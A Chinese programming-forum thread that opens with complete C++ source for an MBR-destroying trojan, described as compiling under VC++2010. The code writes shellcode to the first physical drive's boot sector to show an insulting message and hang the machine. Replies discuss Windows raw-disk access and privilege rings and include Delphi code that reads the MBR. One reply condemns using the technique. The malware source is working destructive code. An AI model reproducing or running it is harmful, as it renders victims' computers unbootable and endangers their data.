注册 登录
编程论坛 C++教室

分享一病毒源代码,破坏MBR,危险!!仅供学习参考,勿运行(vc++2010已编译通过)

lijunbo 发布于 2012-01-18 14:01, 9193 次点击
我在编译的时候,杀毒软件提示病毒并将其拦截,所以会导致编译不成功。

1>D:\c++工程\windows\windows\MBR病毒.cpp : fatal error C1083: 无法打开编译器中间文件:“C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein”: Permission denied
1>
1>生成失败。


杀毒软件提示:

检测到项目:Trojan:DOS/Killmbr   警报级别:严重
类别: 特洛伊木马

描述: 这个程序很危险,它执行来自攻击者的命令。

建议的操作: 立即删除这个软件。

Security Essentials 检测到可能会侵害您的隐私或损坏计算机的程序。您仍然可以访问这些程序所使用的文件而不删除这些程序(不推荐)。若要访问这些文件,请选择“允许”操作,并单击“应用操作”。如果此选项不可用,请以管理员身份登录或请求安全管理员提供帮助。

项目:
file:C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein


如果需要生成,需先关闭杀毒软件。
警告:生成的可执行文件请勿运行,否则由此带来的后果自负
代码如下:
程序代码:
#include <windows.h>
#include <winioctl.h>

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 进入图形显示方式,隐藏光标
00000005  BD187C mov bp, Msg ; ES:BP = 串地址
00000008  B91800 mov cx, 18h ; CX = 串长度
0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h
0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列
00000014  CD10 int 10h ; 10h 号中断
00000016  E2FE loop $
Msg: db "I am virus! Fuck you :-)"
*/
int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
  int nCmdShow          // show state of window
)
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;

hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
  return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}
20 回复
#2
zaixuexi2012-01-18 15:21
如果我加了层过滤驱动,你准备怎么做?
#3
plutoi2012-02-22 22:05
看高手过招很享受,期待楼主的回复,长长小弟的见识!
#4
BianChengNan2012-02-23 11:02
真的特期待啊,学习学习
#5
pangding2012-02-23 15:39
懂汇编,又知道 MBR 是啥的人可能都能写这段代码。
#6
zklhp2012-02-23 15:41
"\\\\.\\PHYSICALDRIVE0"

可以说是XP的一个漏洞 可以用这个格式来读写MBR 不过不知道后面的补丁是不是补上了这个漏洞

不过高版本的windows比如Vista和Win 7 应该没这个问题了
#7
zklhp2012-02-23 15:46
[绝对爆料]NTRing3级下使用API直接读写硬盘【原创】      

--------------------------------------------------------------------------------
相信此贴一出,NT下的操作硬盘软件会满天飞,试问,如果简简单单使用一个API函数就可以读写硬盘,还会有人抱着Windows的DDK去编驱动吗?
  而今Windows对各类资源的保护可以说是无孔不入,Windows 为实现其可靠性,严格将系统划分为内核模式与用户模式,在i386系统中分别对应CPU的Ring0与Ring3级别,在Ring3级下执行的程序是不可能直接访问到硬件的。就以读写硬盘的扇区来说吧,在9X下还可以使用INT中断来读取,但是在NT下只有进入了Ring0级才可对硬盘进行操作,而进入Ring0级的方法有:设备驱动程序,中断门,调用门等等。但是今天我们要说的是在NT下Ring3级下使用API直接读写扇区。如果不相信请跟我来!
  今天API函数的主角就是CreateFile。看到这里大家有可能想拿鸡蛋扔我了,CreateFile怎么能和硬盘有关系呢。起初我也难以相信,就像我大一学习C语言时,老师告诉我fprintf,printf都是向一个文件进行输出时,我在台下也想扔他。但事实确实如此,Windows将所以的资源都看成文件,无论是真正存储在硬盘上的文件还是硬件(硬盘,显示器等)。在这里不得不佩服Windows的创新理念,文件管理一向是Windows的核心之一。在这里我是没有能力给大家讲述文件管理的,我们打开Win32Help找到CreateFile:

 HANDLE CreateFile(

    LPCTSTR lpFileName,  // pointer to name of the file
    DWORD dwDesiredAccess,  // access (read-write) mode
    DWORD dwShareMode,  // share mode
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // pointer to security attributes
    DWORD dwCreationDistribution,  // how to create
    DWORD dwFlagsAndAttributes,  // file attributes
    HANDLE hTemplateFile   // handle to file with attributes to copy  
   );
  大家注意第一个参数的说明:
    lpFileName

      Points to a null-terminated string that specifies the name of the object (file, pipe, mailslot, communications resource, disk device, console, or directory) to create or open.

      If *lpFileName is a path, there is a default string size limit of MAX_PATH characters. This limit is related to how the CreateFile function parses paths.

      Windows NT: You can use paths longer than MAX_PATH characters by calling the wide (W) version of CreateFile and prepending "\\?\" to the path. The "\\?\" tells the function to turn off path parsing. This lets you use paths that are nearly 32,000 Unicode characters long. You must use fully-qualified paths with this technique. This also works with UNC names. The "\\?\" is ignored as part of the path. For example, "\\?\C:\myworld\private" is seen as "C:\myworld\private", and "\\?\UNC\tom_1\hotstuff\coolapps" is seen as "\\tom_1\hotstuff\coolapps".
  上面的意思大概是说"\\?\"可以引用路径(英语垃圾,大家最好自己看)。
  尤其是下面的这一段:
    Disk Devices
    Windows NT: You can use the CreateFile function to open a disk drive or a partition on a disk drive. The function returns a handle to the disk device; that handle can be used with the DeviceIOControl function. The following requirements must be met in order for such a call to succeed:

    The caller must have administrative privileges for the operation to succeed on a hard disk drive.
   
    The lpFileName string should be of the form \\.\PHYSICALDRIVEx to open the hard disk x. Hard disk numbers start at zero.For example:

    String              Meaning
    \\.\PHYSICALDRIVE2      Obtains a handle to the third physical drive on the user's computer.

    The lpFileName string should be \\.\x: to open a floppy drive x or a partition x on a hard disk.For example:

    String  Meaning
    \\.\A:  Obtains a handle to drive A on the user's computer.
    \\.\C:  Obtains a handle to drive C on the user's computer.
  没有骗大家吧,上面说如果你拥有管理员权限,那么lpFileName ==\\.\PHYSICALDRIVE2就是表示打开第三块硬盘,\\.\PHYSICALDRIVE0指的就是第一块硬盘了。lpFileName ==\\.\C:就是打开C盘了。并且返回的句柄还可以用于DeviceIOControl函数,相信大家看到这里应该放下手中的鸡蛋了吧。
  由此可以管中窥豹Windows文件管理这个核心是多么的强大。希望对大家有所帮助。

{另附上一段演示读硬盘第一扇区 保存为 Project1.dpr WinXP+Delphi7编译通过}
program Project1;

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

{$R *.RES}

const
  BytesPerSector =512;
  SectorCount =1;
  SectorStart =0;
  drive ='\\.\PHYSICALDRIVE0';

var
  str :string;
  p :pchar;
  i :Cardinal;
  hDeviceHandle :Thandle;

begin                        
  hDeviceHandle := CreateFile(drive, GENERIC_READ,
    FILE_SHARE_READ OR FILE_SHARE_WRITE, nil, OPEN_EXISTING,0, 0);
  if (hDeviceHandle <> INVALID_HANDLE_VALUE) then
  begin
    p:=allocmem(SectorCount*BytesPerSector);

    FileSeek(hDevicehandle,SectorStart*BytesPerSector,0);
    if FileRead(hDevicehandle,p[0],SectorCount*BytesPerSector)<>SectorCount*BytesPerSector then
       raise exception.create('读取错误');

    str:='';
    for i:=0 to 512-1 do
    begin
      if i mod 16=0 then
      str:=str+format('0x%.8x ',[i]);
      str:=str+format('  %.2x',[integer(p[i])]);
      if i mod 16=15 then
      str:=str+#13#10;
    end;
    ShowMessage( str);

    freemem(p,SectorCount*BytesPerSector);
    closehandle(hDeviceHandle);
  end;
end.
{END}

很久以前的东西了 附文章一篇有兴趣可以学习学习
#8
pangding2012-02-23 15:56
说实在的,我不是很了解 windows 的东西,那段代码也只能看懂个原理。看 zklhp 爆的料还真是学了不少东西。
原来 windows 也只有内核态和用户态,和 linux 一样。那 intel 的四级划分什么系统用全了……
#9
zklhp2012-02-23 16:09
那 intel 的四级划分什么系统用全了……

没有 太复杂了实现有困难

操作系统也是C写的 实现很复杂的东西也不大容易

想研究内核可以看看linux早期内核注释的书 作者貌似叫赵炯? 不过你们科班出身的应该都懂 呵呵
#10
zklhp2012-02-23 16:12
以下是引用pangding在2012-2-23 15:56:19的发言:

说实在的,我不是很了解 windows 的东西,那段代码也只能看懂个原理。看 zklhp 爆的料还真是学了不少东西。
原来 windows 也只有内核态和用户态,和 linux 一样。那 intel 的四级划分什么系统用全了……

额 那个东西是以前在看雪找的
#11
zklhp2012-02-23 16:14
我建议 这种东西看看就好了 没有研究的必要

1 违法违纪

2 违背道德 任何时候都不能用这种技术

3 本身没什么技术含量 可以说就是微软设计上的失误 呃 或者说是一个不好的设计思路 以后的操作系统都避免了这个问题了
#12
依偎蝴蝶吻2012-02-23 20:05
太值得借鉴了。。。
#13
pangding2012-02-23 22:27
回复 9楼 zklhp
嗯。以前研究过 Linux 的内核。就是用赵老师的书入的门,后来又看了外国的书。不过都是半途而废,没看到底。

那个四个特权级是硬件支持的,Intel 手册里管它叫描述特权级(Descriptor Privilege Level, DPL)。只要填个掩码就能实现。不同的级可以限制内存的访问,限制系统资料的使用,还可以使用独立的页表之类的资源。
在访问要求一致性的资源时,硬件会自动核实,只有当前特权级(CPL)小于等于DPL时(最高级是0),访问才会被通过。否则会引发访问异常。
内核页表和内核堆栈等在加载内核的时候初使化,靠系统调用访问和更改。系统进入保护模式以后,用户只有在使用部分系统调用的时候会合法地转入内核态,因此就不能非法的访问系统级资源了。
Linux 的内核逻辑就只需要用两个特权级,即内核态(DPL==0),和用户态(DPL==3)。我以前一直以为 windows 系统的逻辑会更复杂一些呢,不过看来也不需要用那么多。
#14
小鱼儿c2012-02-24 01:08
一看MBR 我就知道是这个代码了。。
呵呵 ,网络太发达了
#15
hua2218892012-02-27 14:42
都是高手学习学习
#16
BianChengNan2012-03-02 09:59
厉害厉害,看来还要多多学习啊
#17
滑稽2016-10-28 22:39
6666666,我只会写自我复制的病毒
#18
幽竹烟雨2019-01-17 22:36
那么,到底楼主的代码运行后会怎样?
#19
幽竹烟雨2019-02-09 12:48
...
#20
wuzc12021-05-22 20:09
这其实只是一个硬盘逻辑锁,进入PE系统用DiskGenius搜索一下就行了
#21
kas2021-07-19 10:39
回复 2楼 zaixuexi
熊猫烧香:过滤无效
1